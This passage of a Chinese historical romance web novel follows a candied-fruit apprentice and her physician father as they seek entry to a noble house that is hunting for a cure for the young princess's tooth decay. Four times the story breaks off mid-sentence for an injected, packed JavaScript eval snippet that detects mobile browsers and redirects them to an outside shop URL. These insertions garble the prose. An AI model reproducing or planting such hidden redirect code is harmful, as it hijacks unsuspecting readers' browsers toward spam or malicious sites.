裴樾一脸嫌弃地看着身旁大惊小怪的人,根本懒得理会他:“下月初八就是楹儿的生辰了,生辰礼备了吗?” “小郡主此次生辰宴意义非凡,小的不敢自作主张,还等世子拿主意。” 裴樾想了一会,似是一下子想不到什么合适的,索性放弃了:“容我想想……你到我库房中清点一下,有什么珍奇之物先记录成册,之后交予我过目。” “小的遵命。”见世子受着伤还操心不断,游默又忍不住劝道:“离小郡主生辰还有月余,世子不必着急,养伤要紧。” 说着,游默屏退了左右的仆从,房间内瞬间清静了许多,裴樾也闭上眼睛很快就睡着了。 他这一养病就是在房内好几日闭门不出,自他当上提刑官就一直公务繁忙,几乎是整日里忙得脚不沾地,如今正好趁着养病的机会好好休息一番。 这几日过得十分清闲,没事的时候裴樾就在房内看书下棋,乐得自在。 梅雨时节,外头的雨总是来得匆忙且缠绵,裴樾正懒懒地倚靠在贵妃椅上看书,见院中雨景朦胧颇有诗意,便唤下人将窗子支起,他随意将手中的书搁置,独自一人静静地赏雨。 这般雨势,似乎与那一晚别无二致,他浑身湿透,伤口处鲜血直流,体内的力气也在慢慢流失,雨幕中隐约看见前方有家医馆,逐渐脱力的他只能紧急躲进医馆当中,他翻墙而入,正巧有间房窗子没关,便毫不犹豫地跳窗进屋。 回想起那夜的种种情景,他才意识到这都过了好几日,但那姑娘还没有找上门来,裴樾唤来游默询问:“游默。” 守在门口的游默连忙屁颠屁颠地跑过来:“世子有何吩咐?” “我那日让你留意的姑娘,还没有消息吗?”裴樾语气不咸不淡,状似随意。 游默狗腿一笑:“这几日小的时刻留意着,并未见有府门前有拿着字条的姑娘。” “哦。”裴樾反应平淡,看似并没有将此事放在心上,他装模作样地拿起书翻看,过了会又一脸认真地问道:“国公府……是不是位置太偏僻了,不好找?” “世子说笑了,咱们国公府位置优越,四通八达,不论往哪儿去都便利得很。”游默笑得意味不明。 “这样啊。”裴樾恍然大悟一般,没再多说什么就让游默退下了。 这都过去了好几天,给她留了字条按理说也应该上门了,可是为何还没有动静,通晓岐黄之术的姑娘应当不会不识字吧。 裴樾在心中想了无数种她没有找上门的原因,或许只能再等等了,若是久等不来,只能想办法去寻,毕竟救命之恩,必得相报。 —— 蜜煎局内。 今穗在蜜煎局当差不知不觉已有半月,她每日都早出晚归,一心扑在蜜饯上,过得异常充实。 近日没有宴席要办,云从以及蜜煎局里的其他人都很乐意去指点她,因此仅仅进入蜜煎局半月时光,今穗在做蜜饯这件事上已有了突飞猛进的成长。 姜佩兰听闻了也十分欣慰,这日到蜜煎局还特地先夸赞了她一番。 “今穗,做得不错,来之前我还担心你适应不了这里,看来这次的生辰宴可以带你一起去历练历练了。” 听姜佩兰提到生辰宴,众人都被吸引了注意力,特别是今穗,听到自己也可以参与更是两眼放光。 见大家都往这边看,姜佩兰索性提高声音把事情都说了:“下月初八是裴国公府长宁郡主的八岁生辰宴,国公府雇了四司六局承办宴席,我们蜜煎局也应提早做好准备。” 说完,大家都在底下窃窃私语。 长宁郡主是当朝裴国公与昭华长公主千娇万宠唯一的女儿,为这般地位显赫之人服务,蜜煎局内的众人似乎都是第一次,不免议论纷纷。 “好了,大家按照惯例准备就好。另外,长宁郡主是出了名的嗜甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019228|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对蜜饯之类的或许会格外挑剔,大家打起精神小心做事莫要犯错,若是有人做的蜜饯能得了郡主的青眼,好处自然是少不了的。” 大家似乎都被她的一番话激励到了,纷纷摩拳擦掌,投入到蜜饯的研究当中。 同样,今穗也跃跃欲试,倒是云从没什么反应。 “师父,你说像长宁郡主这般尊贵之人会喜欢什么样的蜜饯呢?”今穗双手托腮,歪着头思考。 “投其所好这件事呢……很简单,也很难。”云从仔细思索了一番,“你想,人人都想投其所好,只需知道她的喜好就完事了,但若是打听不到,便是想破脑袋也没用。” 今穗觉得很有道理,郡主的喜好又岂是他们这些平民百姓随意可以打听到的。 不如脚踏实地一些,安安分分地将自己的差事做好。 今穗没多想就继续自己手头上的活儿。 自从这些天学会了越来越多种蜜饯的制作方法后,今穗便开始练习蜜煎雕花了。 蜜煎雕花是在果子用蜜渍之前,先用刀加以雕刻,然后制成蜜饯,以达到色香味形俱佳的效果,不仅能食用,还可以供人们赏玩。① 不同瓜果的果肉软硬程度不一,因此能够在上面雕刻出栩栩如生的图案须下一番工夫苦练。 蜜煎雕花就连云从都不甚熟练,因为他实在是没那个耐心沉住气在一个小果子上一笔一划地雕刻,索性放弃不再练习。 但是今穗却耐性十足,她按照册子上给的雕花梅球儿的制作方法,先将青梅洗净擦干,去果核并在其上雕刻一圈圈花纹,这一步是最难的,好在青梅的外表还算坚硬,下手重了也不容易损坏,且青梅个头儿小,可雕刻的花纹也较为简单。今穗只需仔细耐心一些,一次便可雕得有模有样,然后再用蜜糖腌渍一段时间即可。② 雕花梅球儿应当是最简单的一种雕花蜜饯了,更复杂的还需下苦功夫,况且蜜煎局内几乎无人擅长雕花,仅靠今穗一个人琢磨更是难上加难。 她眉头微蹙盯着小册子上记录着“靖州雕花蜜饯”的一页看了许久,几次想尝试却还是无从下手。 云从看着今穗一脸倔强,不肯服输的模样,内心颇为动容,想劝她的话到了嘴边又被咽下。 旁人都在一个劲儿地琢磨如何在即将到来的生辰宴上讨好长宁郡主,想多讨点赏赐,偏偏她自那会儿聊了几句后就好像再没放在心上,不汲汲于富贵之人云从不论在孟府还是在这四司六局,都太少见了。 云从内心还在感叹着自家小徒弟如此玉洁冰清,就冷不丁听见今穗来了句:“师父,你说长宁郡主会对雕花蜜饯有兴趣吗?” 今穗抬头看了眼旁边一脸真心错付般表情的云从,又疑惑起来,但是想到他的日常作风,又觉得一切都可以理解,瞬间释然了。 对于这次生辰宴,今穗其实非常在意。一来千载难逢的能够接触到世家权贵的机会,她不想放过,或许能打探到一些蛛丝马迹。 二来这般大型的宴席是她崭露头角的机会,她可以借机调到母亲曾经所在的茶酒司。 5. 雕花蜜饯 茶酒司主要负责主持宴会,指挥上菜,帮助主家接送宾客、斟茶奉酒以及掌管宴会上的金银器具,最容易接近权贵,在四司六局中的地位举足轻重。① 四司六局每次承办完宴席,主家最先犒赏的是厨司,茶酒司次之。但厨司并非随意可进,需得有过人的厨艺,茶酒司就宽泛许多,因此几乎人人都挤破头想进茶酒司。 今穗几乎花了大半天的时间在琢磨雕花蜜饯,直至日头西沉,天色晦暗。 七月里的天儿越来越燥热,纵使到了傍晚也不曾凉爽半分。对于在外奔波谋生的百姓而言,即使日头再毒辣也一刻不能停歇。今穗回医馆的路上,就见到不少赤膊卸货的力工,挥汗如雨,气喘如牛。 近来医馆里接待了不少因暑热而晕倒的人,今穗刚到家时,堂内还有好几个病患,乔逊忙得脚不沾地。 “爹,方子交给我吧。”今穗接过乔逊刚开好的药方,就带着病人去药堂抓药。 扁豆、葛根、麦冬、五味、白术、甘草、陈皮……今穗按照方剂一一称量包好。② 父女俩忙碌了大半个时辰才算完,夜幕早已降临。 夜半时分,房间里异常闷热,今穗睡不着觉,索性起身推开窗子透气。 夏夜无风,耳边蝉鸣声此起彼伏。 她忽然想起,前段时日学习荔枝的做法,闲暇时也读了不少关于荔枝的诗句,她读到“一骑红尘妃子笑,无人知是荔枝来”,心中滋味难言。 与此同时,裴国公府晚香阁。 “刘妈妈,我想吃冰荔枝。”裴楹皱着小脸吩咐。夏夜燥热难耐,晚香阁内四处都放了冰鉴,也有丫鬟一直在为她扇风。 “郡主,长公主吩咐老奴,您现在龋齿越来越严重了,不能再吃任何甜食果子了,贪凉伤身,请郡主三思啊。”刘妈妈苦口婆心,嘴巴都说干了。 小姑娘吃不到心爱之物,难受得几乎要哭出来,她也不肯就寝,就这么僵持着,刘妈妈见这般更是急得像热锅上的蚂蚁。 裴楹怎么都不肯妥协,刘妈妈拗不过几乎要认输,就在这时长公主进了晚香阁。 “楹儿。”沉稳从容的女声传来,颇具压迫感。 “母亲……”裴楹委屈巴巴地望着她,眼睛里蓄满了泪水。 昭华见状也心有不忍,但曾经就是因为太骄纵她,导致裴楹因食糖过度唤上了严重的龋齿,几乎三天两头就牙疼到满地打滚,就连宫中的御医都没能将其完全医治。 牙疼犯了就服用止疼汤药,终归是治标不治本。 御医说,若平日里的饮食不加以控制,任由她毫无节制地吃甜食,纵是华佗在世也救不回郡主的牙齿。 想到这些,昭华只能让自己狠下心来:“楹儿听话,不能再吃这些了,乖乖随刘妈妈去睡觉好吗?” 昭华语气轻柔,极其有耐心地安抚撅着小嘴,一脸委屈的小姑娘。 可是裴楹似乎有些不领情,她还在为自己吃不到心心念念的冰荔枝而难过。 她自小被娇惯长大,要风得风要雨得雨,如今竟连吃个荔枝都难如登天,裴楹自顾自地生气,竟大胆地将长公主晾在了一边,把头撇在一旁摆起了脸色。 昭华这般好言相劝,裴楹却被自己宠得无法无天,养成这般不成体统的样子,她的脸色也阴沉下来,狠下心不去理会,只沉声吩咐一旁的丫鬟:“传本宫的意思,告诉四司六局,郡主的生辰宴上不许出现任何甜食。” 说完,昭华便扬长而去,她这下是真被气到了。 晚香阁内的裴楹见素来对自己疼爱有加的母亲变得如此狠心,更是气鼓鼓的,谁的话都听不进去。 隔日,四司六局就接到了裴国公府传来的消息。 姜佩兰满脸愁容带着这个消息往蜜煎局去,此时今穗正在果子局内为仅剩的几个青柚与施窈周旋。 “施窈姐姐,您就大发慈悲把这个青柚赏给我吧。”今穗语气恳切,缠着施窈左求右求。 施窈也被烦得不行,最后还是不情不愿地挑了个最小的递给她。 今穗见状喜笑颜开,施窈姐姐长施窈姐姐短地谢个不停,连向来高傲的施窈都被她说得面色泛红,不自然地赶她走。 近来为了练习蜜饯雕花,今穗经常来果子局挑各种各类的瓜果,跟施窈也慢慢混熟了。 在她几次接触之下,今穗发现施窈并不像传闻中那般不好相处,她不过是因自己长相美艳,为人高傲,不爱与四司六局内的人来往,平日里除了完成份内之事,就是忙着臭美,其他的一概不沾染。 心里有底之后,今穗后来再去果子局拿瓜果时都轻松了许多。 她心情愉悦地回到蜜煎局时,发现姜佩兰正巧在屋内,仿佛是有事情要交代大家。 “佩兰姑姑。”她疑惑开口。 “今穗你来的正好,有件事情要和大家宣布。”姜佩兰语气平淡,似是在说什么稀松平常之事,可是她接下来说的话却如此得不同寻常,“长宁郡主的生辰宴……上头吩咐撤掉一切甜食,咱们蜜煎局无需再准备了。” 蜜煎局众人皆一脸疑惑,昨日还说要好好地操办生辰宴,今日却又突然跟他们说不必再忙活了,也不知这中间发生了什么。 “长宁郡主是出了名的嗜甜,这么重要的一次生辰宴,怎么能没有蜜饯一类的甜食呢?”有人忍不住提出了疑问。 此次生辰宴的重要几乎是人尽皆知的事,长宁郡主生于八月初八,正逢八岁生辰,理应要盛大操办一番,所以大家才会如此惊讶。 “是不是咱们蜜煎局有人得罪了国公府,有人借机报复?”另一个人应和道。 其余人听了觉得有点道理,连连点头。 “这是国公府下的吩咐,千真万确,至于长公主与裴国公此举何意,大家就不要做无谓的猜测了。”姜佩兰似乎还有别的事要忙,来去匆匆。 现下生辰宴也用不上蜜煎局,大家从昨日的斗志满满一下子变蔫了,都心不在焉地做手上的活儿,时不时和左右的人闲聊。 今穗倒是没太受影响,继续研究蜜饯雕花。她近来练习用未成熟的柚子青果雕花,先将其切成片,再用柳叶刀雕出龙、凤、鱼、虾以及“喜鹊闹梅”、“燕子啄泥”、“二龙戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019229|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠”、“鱼儿戏水”等图案,放在水中漂洗,然后拌白糖或蜂蜜,晒干即成。③ 步骤不算复杂,就是雕刻图案这一步,今穗未曾涉猎过丹青,将图案雕得好看确实颇为困难,除了反复练习改进别无他法,几日下来,她一直握着柳叶刀的手都磨得通红,触之即疼。 云从看着都十分心疼,劝也劝不动,他几次偷偷地把柳叶刀藏起来,假装是今穗自己给弄丢了,但是都被她一一识破,在她直勾勾目光地注视下,他也只能缴械投降。 越接触云从越觉得,今穗根本不像初见时那般乖巧听话,倒是个倔强且有毅力的姑娘,他也被她吸引了更多的注意力。 今穗沉浸在雕花当中,也越来越有模有样,好不容易雕刻出了一个看起来甚是栩栩如生的飞鸟,她内心极其满足,想来练习了这么久的雕花,倒是没尝过它的味道,所以今穗仔细咀嚼品尝了一番,吃起来脆生生,甜津津的,可口怡人,她连连点头,这雕花蜜饯确是个中看又中用的。 只是花这么长时间做出来的一片蜜饯,只几口便进了肚子,今穗感觉心在滴血,这玩意儿真是比人还难伺候。 时近傍晚,蜜煎局的人因生辰宴的事都无心做活儿,早早地离开了,因而今穗又是最晚走的。 许是一整天埋头雕花的缘故,今穗走在路上都有些头晕眼花,晃晃悠悠间竟走错了路,等她回过神来时,已经在人潮涌动的潘楼街上走了大半的路。 潘楼街靠近东京的中心地带,平日里人来人往,极为热闹。 她仔细辨认了一下周围的环境,所幸没有走得太偏,换个方向继续往医馆去就好。 今穗逆着人流,行动起来颇为艰难,众人似乎都在朝她身后的某个地方挤,她生来不是爱凑热闹的性子,完全不在意,只小心翼翼地躲避着往来的行人。 然而,“裴国公府”、“长宁郡主”等词在嘈杂的街市上忽然传进了今穗的耳朵里,她下意识停住了脚步,一下子就对那个众人趋之若鹜的地方产生了兴趣。 今穗转身顺着人流慢慢移动过去,前面层层叠叠的人遮挡着啥也看不见,她努力踮起脚才看见人群包围中是一个布告栏。 百姓们反应如此强烈,或许是有什么重大的消息? 今穗灵活地挤进了人群里,很快就到了最前面,只见布告栏上贴着裴国公府的告示。 告示上说,长宁郡主龋齿严重,痛不欲生,现广寻良医为郡主医治,登门看诊之人有谢礼相赠,成功医治之人赏黄金百两。 布告栏前的人都议论纷纷。 “登门看诊就能拿谢礼,去试试也无妨,万一成功了那可是黄金百两啊。” “你可别做梦了,宫里的御医都束手无策,你去有什么用。” “小心被人当成骗子赶出来。” …… 周围甚是嘈杂,今穗沉默地盯着告示思索一番后,就揭下一张揣在身上,自顾自地离去了。 回去的路上,仍有许多人朝着告示栏的方向凑热闹,毕竟国公府出手就是黄金百两,没人不希望这泼天的富贵能砸在自己头上。 6. 落跑新娘 离开潘楼街,人群就稀疏很多,今穗很快就回到了医馆,今日医馆内倒是没什么人,乔逊正拄着拐杖收拾屋子。 “爹。”她喊了一声就过去搀扶乔逊到方桌旁坐下。 今穗从袖子里掏出了那张布告递给乔逊:“你看看这个。” 乔逊不明所以地接过那张方方正正的纸,展开仔细看了一番,越看越眉头紧皱,他疑惑地看向今穗:“你这是……” “我明白爹的意思,但是无论如何这国公府我们都得去,不为别的,就为了女儿能够顺利参加下个月的生辰宴。”今穗表情认真。 乔逊沉默良久,神色晦暗不明。 今穗接着说道:“今日兰姨说长宁郡主生辰宴不让蜜煎局参与,但是我不能就这么算了,好不容易等来的一次机会,我绝不能放过。” 她一刻都没有忘记自己进入蜜煎局是为了什么,若是错过了这次生辰宴,她都不知何时才能等来这般盛大的宴会,她就没有机会接触到更多的权贵。 “可是连御医都医不好,我又能奈何。”乔逊发愁。 “爹,咱们无需去想如何医好,这告示一出,慕名上门之人多如牛毛,咱们也只是其中之一罢了。爹只需去给那郡主诊上一诊,探一探情况,女儿会借机弄清楚生辰宴撤掉蜜煎局的缘由。”今穗仔细筹谋着。 乔逊思索一番最终点头答应了。 第二日,阳光刺眼,日头毒辣。 乔家医馆闭门谢客,父女二人拾掇一番后便出了门。 今穗今日还特地乔装打扮了一番,以免日后被认出来。她穿了一条水绿色的百迭裙,梳流苏髻,发髻底部束着碧色的丝带,再以白纱遮面,撑一把伞面绘有翠竹的油纸伞,整体给人一种清冷素雅的感觉。 父女二人行进的路上也遇到不少同向之人,似乎都是往裴国公府去的。今穗拎着一个陈旧的药箱走在乔逊身后,外人看着不像是父女,倒像是某个生活简朴的隐世神医和他的小侍女。 路上有个胡子拉碴,穿着潦草,举止神态都吊儿郎当的男子故意走到父女二人身旁搭话:“诶,你们也是去国公府领谢礼的吗?” “这御医都治不好的病,咱们这些小人物哪有什么办法。我看这国公府也是病急乱投医,白白让人上门捡便宜。听说那长宁郡主也是个美人胚子,小小年纪就长着一张我见犹怜的漂亮脸蛋,若看诊的时候能偷偷摸上一把……” 虽然根本没人搭理他,但这邋遢的陌生男子却滔滔不绝了一路,说话时表情猥琐至极。 对着年近八岁的小姑娘言语这般不干不净,着实恶臭,今穗听着感觉自己的耳朵都被污染了,若不是有面纱遮着,她几乎要捂嘴作呕。 正事要紧,她并不想在这种人身上浪费时间,不自觉地加快脚步。 那男子还不依不饶:“小娘子,你这大白天用面纱遮着脸,是不是有什么隐疾羞于见人,爷医术高超,不如让爷来帮小娘子瞧瞧。” 说着,他就要伸手去扯今穗的面纱。 今穗作势要躲,连向来隐忍内敛的乔逊都忍无可忍欲红着脸狠狠痛骂这个可耻之徒,却见一个雕刻着精致花纹的剑鞘猛地打在这人伸出的手上,他疼得下意识缩回手,准备破口大骂之时,一把泛着银光的长剑瞬间抵在了他的脖子上。 顺着剑身看去,只见一只纤细白嫩的手紧紧地握着剑柄,而手的主人,竟是个眉如远山,相貌温婉的女子。她头戴斗笠,着一身轻便衣衫,眼神极为凌厉。 这人被吓得屁滚尿流,若不是有剑抵着,他恨不能下跪求饶:“女侠饶命,女侠饶命,小的有眼无珠。” 孟织筠没给他半点眼神,只冷冰冰道:“道歉。” 男人哆哆嗦嗦道:“小、小娘子。” 刚说了几个字,那剑又逼近几分,他立马改口:“姑娘,对、对不起,您大人有大量,绕了小的吧。” 今穗不愿多作纠缠,没说什么就立马离开了。 孟织筠眼神冷冷地将剑收回剑鞘,那人腿软着跪倒在地,她完全不理会,头也不回地离开了。 没走几步,就看见今穗正站在路旁等她。 “多谢侠女为小女解围。”今穗言辞恳切,目含感激。 “不必,我也不是什么侠女,这剑不过是拿来吓唬人的。”孟织筠仍旧语气冷冷,撂下这么一句话就扬长而去。 今穗十分讶异,刚刚见她气势凌厉,以为是个某个武功高强的侠客路见不平拔刀相助,她做事毫不拖泥带水,倒是个雷厉风行之人。 父女二人稍稍平复了一下心绪,继续朝着国公府去了。 不多时,他们到了一座气派的屋宇前,四个佩刀侍卫守在大门前,神情不怒自威。 绕过正门来到国公府的东南角,是一处不宽不窄的偏门,门外已然排了一字长龙队。 现下还未至巳时,竟已经来了这般多的人,这偏门来来往往,有人进也有人出,这出来的人难道是已经诊过了? 父女二人眉头紧蹙,面色凝重,自觉走到了队伍的最末端。 这队伍虽长但行进得很快,不过一柱香的时间,经过侍卫们的仔细查验后,他们顺利进入了府内,被一个丫鬟引到一处厢房,厢房内有许多桌子整齐地间隔排布,不少桌子前已坐了人,今穗定睛一看,刚刚为她解围的“侠女”也在其中。 她们二人不期然对视了一眼,孟织筠波澜不惊,继续低下头写字。 今穗被带到一处空桌前坐下,与乔逊隔了些距离。 堂上坐了须发花白的老者,这架势倒像是夫子在书塾里授课。老者身旁的侍女为刚坐下的人各自分发了一张宣纸。 宣纸上已写了一句话,今穗看到后心下了然,没多思考就执笔书写了。 裴国公府之所以这样做是为了筛选一些浑水摸鱼,完全不通医理之人,若是来者不拒,才是真正耽误了对长宁郡主的医治。 纸上不过是让人写下姓甚名谁,家在何方以及一种常见的药方,今穗拿到的是写下治疗风寒的药方,想来每个人拿到的应当是不一样的,她长在医馆,早就烂熟于心,不过对于那些门外汉来说,自是很难过了这一关。 父女二人几乎是同时完成,侍女将他们的宣纸呈到老者面前,那老者仔细审阅一番后便点了点头,他们就被请到门外顺着长廊往府内走,也有人被带着原路返回, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019230|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今穗在内心粗略地计算了下,十人之中大约仅有二三人会被带着往里走。 国公府内景致优美,从人到物无一不秩序井然。 不知走了多久,他们又到了另一间厢房,房内三三两两的人聚在一起低声说话。在国公府内不便轻举妄动,父女二人找了个不起眼的角落处站定,悄悄打量着周围的环境。 这房内摆设相对简单,似乎是临时收拾出来供他们这些人的休息之所。今穗观察着,却意外地对上了房间另一个角落中孟织筠清冷的双眸。 看来这位“侠女”应当是擅长医术之人,她的气质与周围之人格格不入,先前的佩剑也不见踪影,应当是在进府之时被扣下了。 今穗很想过去与她搭话,毕竟今日之事她还是觉得感激不尽,都不知道该如何报答才好。 但是现下的状况,房间内的人都各怀鬼胎,稍微有些动静就会让她成为众矢之的,对她们二人都是不利的,她只好先暂时压下这个心思,也许等事情结束之后再寻找机会也不迟。 厢房内陆陆续续又来了一些人,今穗看着这些面孔觉得眼熟,城里一些有名的药铺掌柜似乎都在其中。看来裴国公府求医之事已经名满东京,不管是谁都想来分一杯羹。 空荡荡的落雁居内。 游默正勤勤恳恳地为自家世子打扫卧房,本是独守空房的一天,却见卧房的主人突然回来了。 “世子,您今日不是出门处理公务了吗,这才出去几个时辰就回来了?”游默疑惑问道。 “怎么?我回来还要请示一下你的意见?”裴樾慢条斯理地喝了一口茶。 游默放下扫帚连忙打自己的嘴。 “锦初听闻我前些时日卧病在床,今日突然说要来府中看望我,我说已经没事了他还是非要来。”裴樾摇头。 游默明白发生了什么,撇嘴道:“依我看,这江小侯爷来看望世子是假,跟世子诉苦求安慰是真。” 东京靖远侯府的嫡长子江锦初与百年世家孟家老夫人的独女孟织筠有一段天作之合的婚约。 二人青梅竹马,郎才女貌,光是这两个词已经让许多人都认定了他们是天造地设的一对,以这二人为原型的话本子已在京中流传了无数的版本。 孟织筠甚至比江锦初年长两岁,但二人自幼相识,一直以来感情甚笃。就在他们都长大成人,即将谈婚论嫁之时,孟织筠却突然改变了主意,一次又一次在成婚前夕逃离,可怜江小侯爷一片痴心,一直在等待自己的“落跑新娘”回心转意。 孟老夫人老来得女,孟织筠也只比家中小辈年长几岁,因此她格外受宠,即使做出了“逃婚”这般惊世骇俗的举动,且靖远侯府那边因着小侯爷的缘故从不曾追究,孟老夫人也就睁一只眼闭一只眼没说什么。 其实江锦初也曾问过孟织筠为何这般对他,她沉默良久,最终决定遵从本心,她说:我不愿这般早嫁人,在侯府的深宅后院困一辈子,即使有你,我也不会开心。 这个“落跑新娘”的故事,又在东京城中传成了一段佳话。 因此,仿佛真心错付的江小侯爷就隔三差五来国公府找裴樾诉苦,游默都已经见怪不怪了。 7. 以身相许 裴樾在房间内屁股还没坐热,江锦初就作哭哭啼啼状,一脸怨夫样不管不顾地闯进了落雁居。 游默很有眼力见儿地给他让道。 “裴兄!距离我上次见到阿筠已经过了足足三日!三日啊!你知道这是什么概念吗?一日不见如隔三秋,这么算下来就是整整九年没见,人的一生能有几个九年啊。”江锦初捶胸顿足。 “三日……很久吗?”裴樾对这个是真的疑惑,他时常在外办差十天半月都不见回来一次,因此他对江锦初三日未见就反应这么大很不理解。 两人驴头不对马嘴地争论着三日究竟久不久这个问题。 游默旁观者清,在二人争得几乎面红耳赤之时,他终于出声解释:“恕我直言,世子您未曾尝过情爱滋味,一心扑在公务上自然不会觉得三日不见一个人会漫长,小侯爷您与孟小姐情深意重,自是分开一会儿都舍不得。” 二人似是被游默的一番话点醒了,不禁沉默下来,又不约而同地开始在脑海中假设。 情爱究竟是一番怎样的滋味,真的会一日不见像过了三年一样难熬吗?裴樾陷入沉思。 不曾牵挂过一个人是什么样的感觉,自他们幼时相识,他就已经习惯性地将阿筠放在心里最重要的位置,数十年来不曾有一丝变化。江锦初也陷入了沉思。 不容二人沉思多久,观澜阁就遣人过来传话。 “夫人听闻小侯爷来了,请世子和小侯爷一同前往观澜阁叙话。”游默向二人转达小厮的话。 二人出了落雁居,裴樾走在路上听着不远处似有嘈杂的声音传来,问道:“什么动静?” “回世子的话,前几日夫人广贴告示寻良医为郡主治牙,今日来的人多动静就大了些,若是吵到了世子,小的去那边知会一声。”游默说着就要过去。 裴樾皱眉:“无妨。” “小长宁的牙还是好不了吗?”江锦初关心道。 “嗯,还是管不住那张嘴。” 二人一路闲聊,到了观澜阁后只见昭华已然端坐在堂上。 “锦初来了,近来可好?”昭华热情地招呼他坐下,吩咐丫鬟们为二人看茶。 裴樾性子冷,加之身份过于尊贵,在京中知交好友甚少,十分聊得来的也只有江锦初一个,江锦初秉性纯良,从不沾染世家子弟的那些纨绔习气,一来二去,昭华对待他也格外亲厚。 “劳伯母关心,一切都好。”江锦初笑着回应。 “你和孟家姑娘的事儿我都听说了,这女子婚前胆怯是常事,锦初还是不要把她逼得太紧了,否则会适得其反的。”昭华对撮合小辈的事颇为热衷,总是忍不住劝上两句。 见自家母亲又要拉着江锦初说个不停,裴樾及时出声岔开话题:“母亲,长宁那边什么情况了?” “我叫你过来也是为了这事。”昭华终于想起了正事,“前几日我与长宁闹了些矛盾,就一气之下撤了她生辰宴上的甜食,她现在还在气头上,对我是爱搭不理的。” 说起这个,昭华都是两个孩子的娘了却又像个孩子般委屈起来。 母女两人闹矛盾,裴楹向来是个倔脾气,最先忍不住认输的还是昭华。 “我就想着,若是能在生辰宴之前把楹儿的牙治好,到时候再用她最喜欢的蜜饯给她惊喜。”昭华叹气,“宫中的余太医在咱们府里都待了这么长时间还是没办法,我就只好广寻民间的大夫了。” 裴樾知道自家母亲爱女心切,自己又何尝不为妹妹感到着急。只是见今日之情形,鱼龙混杂之人众多,医牙一事恐怕没有母亲想象得那般简单。 他有些担心晚香阁的状况,想赶紧过去看看:“母亲,今日府内生人甚多,儿子有些担心长宁,先去那边看看。” “也好,锦初也跟着去吧。”昭华连忙应道。 二人告辞,马不停蹄地往晚香阁去。 晚香阁侧院的一间厢房内。 时至晌午,今穗与乔逊在屋内已等了有大半个时辰,人也越来越多。 今穗默默数了一下,大概有二三十人,紧接着进来了一个年岁稍大,看起来很有威严的侍女。 “待会请诸位挨个过去为郡主看诊,看诊须站在屏风之外,通过悬丝诊脉为郡主诊断病情,不得面见郡主真容。” 此话一处,房内的人皆是议论纷纷,医牙怎可只靠悬丝诊脉,众人都觉得有些荒缪。 “每人仅有一柱香的时间诊断,诊完后写下诊断结果及对策方可领上谢礼离开,若是有人的对策有奇效,届时长公主会带上黄金百两亲自登门道谢。”众人逐渐安静下来,那侍女接着说道,“下面叫到名字的跟我走。” 侍女高声喊着,一个又一个人离开,很快就轮到了乔逊和今穗父女二人。 他们被带到了正院的门外,门里放着一扇厚重的屏风,将房间内的情况遮得严严实实,他们也没敢乱看,乔逊只顾低头悬丝诊脉。 半柱香左右的时间,乔逊诊脉结束,开始与今穗低声说着话,二人似是在共同探讨。 接着乔逊就去了不远处的厢房写诊断结果及对策,今穗站在原地等待。 此时,裴樾与江锦初二人脚步匆匆地从院门外走进来,守在门前的侍女恭敬问安:“世子,小侯爷。” 今穗见状也愣了一下,她毕竟从未真正见过什么达官贵人,一时间不知所措,也学着侍女的样子给他们二人行礼。 “嗯。”裴樾淡淡回应。 今穗起身早了些,不小心和裴樾对视了一眼。 她心下一惊,这不是那夜救的颇有姿色的黑衣男子吗?她没由来的慌乱了几分。 原本二人仅有一面之缘,如今过了这么久应当已记不得对方的长相了,可是那夜的男子容貌过于出众,以至于现在见到今穗一下子就认出来了。 裴樾也突然停下脚步:“我们……是不是在哪里见过?” 面前的人气质清雅出尘,朦胧的面纱遮住了大半张脸,只露出那一双又圆又亮的眼睛,他感觉十分熟悉。 旁边的江锦初有些听不下去了,悄悄用手肘捣了一下裴樾的腰窝,低声说道:“你这搭讪的方式也太老套了吧,看来你一直未娶妻还是有原因的哈。” 裴樾忍不住回怼:“说的好像你已经娶妻了一样。” 他这话简直是往江锦初心口上插刀子,江锦初愣在原地,堂堂靖远侯府小侯爷此刻委屈得几乎要当场哭出来。 站在一旁看戏的今穗忍不住偷笑了一下,但还是被他们二人发现了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 